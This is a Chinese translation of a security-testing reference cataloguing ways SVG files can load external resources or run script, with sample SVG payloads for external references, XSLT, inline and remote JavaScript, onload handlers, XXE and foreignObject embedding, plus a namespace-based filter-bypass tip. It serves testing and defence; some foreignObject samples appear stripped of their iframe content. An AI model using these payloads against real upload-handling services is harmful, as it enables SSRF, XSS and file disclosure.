处理 SVG 的主机由于 SVG 的丰富功能,可能容易受到 SSRF、LFI、XSS、RCE 攻击。
所有这些方法都指定一个 URI,可以是绝对的,也可以是相对的。File 和 HTTP 协议是重要的测试对象,但根据实现的不同,它还可能支持其他协议(例如 PHP 流协议),包括 javascript: 和 data:。
本文档列出了我所知道的在 SVG 中滥用此功能的所有方式。
请注意,一些声称不接受 SVG 作为输入格式的服务,实际上稍加诱导就会接受。
file 命令不包含任何 SVG 魔数,因此这很可能取决于各个具体的实现。SVG 可以通过 <image> 标签直接包含外部图像。
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
请注意,你也可以利用这一点来包含其他 SVG图像。
<use> 标签SVG 可以通过 <use> 标签包含外部 SVG 内容。
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>与 HTML 一样,SVG 可以通过 <link> 标签包含外部样式表。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include 引入 CSS 样式表<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?> 引入 CSS 样式表<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
SVG 可以通过 <?xml-stylesheet?> 包含 XSLT 样式表。令人惊讶的是,这在 Chrome 中似乎确实有效。
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
注意:由于 XSLT 的特性,如果 xml-stylesheet 被忽略,输入实际上不必是有效的 SVG 文件,但这对于绕过过滤器很有用。
另外,由于我没有兴趣深入学习 XSLT,这个模板只是将整个“旧”图像整体替换为新图像。
与 HTML 一样,SVG 可以原生包含内联 JavaScript。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG 还可以包含外部脚本。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG 还可以包含在 onload 时执行的内联事件处理程序。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
你也可以将处理程序绑定到动画和其他一些事件上。请阅读 SVG 规范。
由于 SVG 是 XML,它同样可能存在 XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject><foreignObject> 标签简直离谱。它可以用来在 SVG 中包含任意的 (X)HTML。
例如,包含一个 iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
如果你没有网络访问权限(例如在沙箱中),你可以将 data URI 或 javascript URI 作为 iframe 的目标:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
如果你觉得 SVG 还不够,你还可以通过 <object> 或 <embed> 标签包含更多 SVG。我认为在理论上甚至有可能把 Flash 也放进去。
另请注意,由于你处于不同的 XML 命名空间中,任何只剥离 svg:script 的过滤器可能不会剥离 html:script(属性也是如此)。
如果你愿意,也可以包含外部字体,我认为既可以通过 CSS 也可以通过原生属性来实现。不过这实际用处不大,因为网络字体(webfonts)出于某种我不太理解的原因需要 CORS——这与字体资源的 DRM 有关,目的是防止盗链。不过我猜有时候确实存在字体引擎漏洞。
这个来自 SVG 规范的示例展示了如何使用 tref 节点通过 URI 引用文本,但在我尝试过的任何查看器中似乎都不起作用。如果有实现支持它,那么它可能也支持在 tref 的 href 中使用外部 URI。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
如果你知道任何其他方法或相关信息/示例,欢迎随时提出 issue/PR。
如果你觉得这有用,我很感激你能告诉我!这会让我开心一整天。
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.